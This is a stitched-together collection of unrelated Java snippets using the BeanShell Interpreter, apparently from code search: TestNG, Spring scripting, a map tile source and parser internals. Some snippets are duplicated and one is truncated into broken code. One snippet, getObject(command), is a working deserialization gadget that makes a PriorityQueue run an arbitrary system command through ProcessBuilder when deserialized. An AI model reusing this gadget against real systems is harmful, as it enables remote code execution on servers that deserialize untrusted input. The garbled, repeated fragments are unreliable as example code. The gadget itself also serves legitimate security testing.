private static Interpreter getInterpreter() { if(null == s_interpreter) { s_interpreter= new Interpreter(); } return s_interpreter; }
private void resetContext(Interpreter interpreter) { try { interpreter.unset("method"); interpreter.unset("groups"); interpreter.unset("testngMethod"); } catch(EvalError evalError) { Utils.log("bsh.Interpreter", 2, "Cannot reset interpreter:" + evalError.getMessage()); } }
@Override public String getUrlToLoad(int x, int y, int zoom) { try { return (String) bshInterpreter.eval("getTileUrl("+zoom+","+x+","+y+");"); } catch (bsh.EvalError e) { log.error(e.getMessage(), e); return null; } }
/** * Evaluate the specified BeanShell script based on the given script source, * returning the Class defined by the script. * <p>The script may either declare a full class or return an actual instance of * the scripted object (in which case the Class of the object will be returned). * In any other case, the returned Class will be {@code null}. * @param scriptSource the script source text * @param classLoader the ClassLoader to use for evaluating the script * @return the scripted Java class, or {@code null} if none could be determined * @throws EvalError in case of BeanShell parsing failure */ @Nullable static Class<?> determineBshObjectType(String scriptSource, @Nullable ClassLoader classLoader) throws EvalError { Assert.hasText(scriptSource, "Script source must not be empty"); Interpreter interpreter = new Interpreter(); if (classLoader != null) { interpreter.setClassLoader(classLoader); } Object result = interpreter.eval(scriptSource); if (result instanceof Class) { return (Class<?>) result; } else if (result != null) { return result.getClass(); } else { return null; } }
@Override @Nullable public Object evaluate(ScriptSource script, @Nullable Map<String, Object> arguments) { try { Interpreter interpreter = new Interpreter(); interpreter.setClassLoader(this.classLoader); if (arguments != null) { for (Map.Entry<String, Object> entry : arguments.entrySet()) { interpreter.set(entry.getKey(), entry.getValue()); } } return interpreter.eval(new StringReader(script.getScriptAsString())); } catch (IOException ex) { throw new ScriptCompilationException(script, "Cannot access BeanShell script", ex); } catch (EvalError ex) { throw new ScriptCompilationException(script, ex); } }
Interpreter interpreter = new Interpreter(); interpreter.eval("result = 5+4*(7-15)"); System.out.println(interpreter.get("result"));
public BeanShellTileSourceTemplate(String name, String urlToLoad, String ext, int maxZoom, int minZoom, int tileSize, int bitDensity, int avgSize) { super(name, urlToLoad, ext, maxZoom, minZoom, tileSize, bitDensity, avgSize); bshInterpreter = new Interpreter(); try { bshInterpreter.eval(urlToLoad); bshInterpreter.getClassManager().setClassLoader(new ClassLoader() { @Override public URL getResource(String resName) { return null; } @Override public InputStream getResourceAsStream(String resName) { return null; } @Override public Class<?> loadClass(String className) throws ClassNotFoundException { throw new ClassNotFoundException("Error requesting " + className); } }); } catch (bsh.EvalError e) { log.error("Error executing the map init script " + urlToLoad, e); } }
public PriorityQueue getObject(String command) throws Exception { // BeanShell payload String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + Strings.join( // does not support spaces in quotes Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}"; // Create Interpreter Interpreter i = new Interpreter(); // Evaluate payload i.eval(payload); // Create InvocationHandler XThis xt = new XThis(i.getNameSpace(), i); InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); // Create Comparator Proxy Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler); // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); Object[] queue = new Object[] {1,1}; Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "size", 2); return priorityQueue; }
private void setContext(Interpreter interpreter, Method method, Map<String, String> groups, ITestNGMethod tm) { try { interpreter.set("method", method); interpreter.set("groups", groups); interpreter.set("testngMethod", tm); } catch(EvalError evalError) { throw new TestNGException("Cannot set BSH interpreter", evalError); } }
/** Get the value of the name. name may be any value. e.g. a variable or field */ public Object get( String name ) throws EvalError { try { Object ret = globalNameSpace.get( name, this ); return Primitive.unwrap( ret ); } catch ( UtilEvalError e ) { throw e.toEvalError( SimpleNode.JAVACODE, new CallStack() ); } }
@Override @Nullable public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if (ReflectionUtils.isEqualsMethod(method)) { return (isProxyForSameBshObject(args[0])); } else if (ReflectionUtils.isHashCodeMethod(method)) { return this.xt.hashCode(); } else if (ReflectionUtils.isToStringMethod(method)) { return "BeanShell object [" + this.xt + "]"; } try { Object result = this.xt.invokeMethod(method.getName(), args); if (result == Primitive.NULL || result == Primitive.VOID) { return null; } if (result instanceof Primitive) { return ((Primitive) result).getValue(); } return result; } catch (EvalError ex) { throw new BshExecutionException(ex); } }
public Object eval( CallStack callstack, Interpreter interpreter) throws EvalError { Object obj = ((SimpleNode) jjtGetChild(0)).eval(callstack, interpreter); if(!(obj instanceof Throwable)) throw new EvalError("Expression in 'throw' must be Throwable type", this, callstack ); // wrap the exception in a TargetException to propagate it up throw new TargetError( (Throwable) obj, this, callstack ); } }
/** Constructor. */ public Parser(java.io.Reader stream) { jj_input_stream = new JavaCharStream(stream, 1, 1); token_source = new ParserTokenManager(jj_input_stream); token = new Token(); jj_ntk = -1; jj_gen = 0; for (int i = 0; i < 99; i++) jj_la1[i] = -1; for (int i = 0; i < jj_2_rtns.length; i++) jj_2_rtns[i] = new JJCalls(); }
public Class<?> getType() { if ( null != field ) return field.getReturnType(); if ( null != var ) return var.getType(); try { return Types.getType(getValue()); } catch ( UtilEvalError e ) { return null; } }
/** * Evaluate the specified BeanShell script based on the given script source, * returning the Class defined by the script. * <p>The script may either declare a full class or return an actual instance of * the scripted object (in which case the Class of the object will be returned). * In any other case, the returned Class will be {@code null}. * @param scriptSource the script source text * @param classLoader the ClassLoader to use for evaluating the script * @return the scripted Java class, or {@code null} if none could be determined * @throws EvalError in case of BeanShell parsing failure */ @Nullable static Class<?> determineBshObjectType(String scriptSource, @Nullable ClassLoader classLoader) throws EvalError { Assert.hasText(scriptSource, "Script source must not be empty"); Interpreter interpreter = new Interpreter(); if (classLoader != null) { interpreter.setClassLoader(classLoader); } Object result = interpreter.eval(scriptSource); if (result instanceof Class) { return (Class<?>) result; } else if (result != null) { return result.getClass(); } else { return null; } }
@Override @Nullable public Object evaluate(ScriptSource script, @Nullable Map<String, Object> arguments) { try { Interpreter interpreter = new Interpreter(); interpreter.setClassLoader(this.classLoader); if (arguments != null) { for (Map.Entry<String, Object> entry : arguments.entrySet()) { interpreter.set(entry.getKey(), entry.getValue()); } } return interpreter.eval(new StringReader(script.getScriptAsString())); } catch (IOException ex) { throw new ScriptCompilationException(script, "Cannot access BeanShell script", ex); } catch (EvalError ex) { throw new ScriptCompilationException(script, ex); } }
@Override public boolean includeMethodFromExpression(String expression, ITestNGMethod tm) { boolean result = false; Interpreter interpreter = getInterpreter(); try { Map<String, String> groups = Maps.newHashMap(); for (String group : tm.getGroups()) { groups.put(group, group); } setContext(interpreter, tm.getConstructorOrMethod().getMethod(), groups, tm); Object evalResult = interpreter.eval(expression); if (evalResult == null) { String msg = String.format("The beanshell expression [%s] evaluated to null.", expression); throw new TestNGException(msg); } result = (Boolean) evalResult; } catch (EvalError evalError) { Utils.log("bsh.Interpreter", 2, "Cannot evaluate expression:" + expression + ":" + evalError.getMessage()); } finally { resetContext(interpreter); } return result; }
@Override @Nullable public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if (ReflectionUtils.isEqualsMethod(method)) { return (isProxyForSameBshObject(args[0])); } else if (ReflectionUtils.isHashCodeMethod(method)) { return this.xt.hashCode(); } else if (ReflectionUtils.isToStringMethod(method)) { return "BeanShell object [" + this.xt + "]"; } try { Object result = this.xt.invokeMethod(method.getName(), args); if (result == Primitive.NULL || result == Primitive.VOID) { return null; } if (result instanceof Primitive) { return ((Primitive) result).getValue(); } return result; } catch (EvalError ex) { throw new BshExecutionException(ex); } }
Interpreter interpreter = new Interpreter(); interpreter.setClassLoader(classLoader); Object result = interpreter.eval(scriptSource); if (result != null) { return result; "At least one script interface is required.\nScript: " + scriptSource); XThis xt = (XThis) interpreter.eval("return this"); return Proxy.newProxyInstance(classLoader, scriptInterfaces, new BshObjectInvocationHandler(xt));
Interpreter interpreter = new Interpreter(); interpreter.setClassLoader(classLoader); Object result = interpreter.eval(scriptSource); if (result != null) { return result; "At least one script interface is required.\nScript: " + scriptSource); XThis xt = (XThis) interpreter.eval("return this"); return Proxy.newProxyInstance(classLoader, scriptInterfaces, new BshObjectInvocationHandler(xt));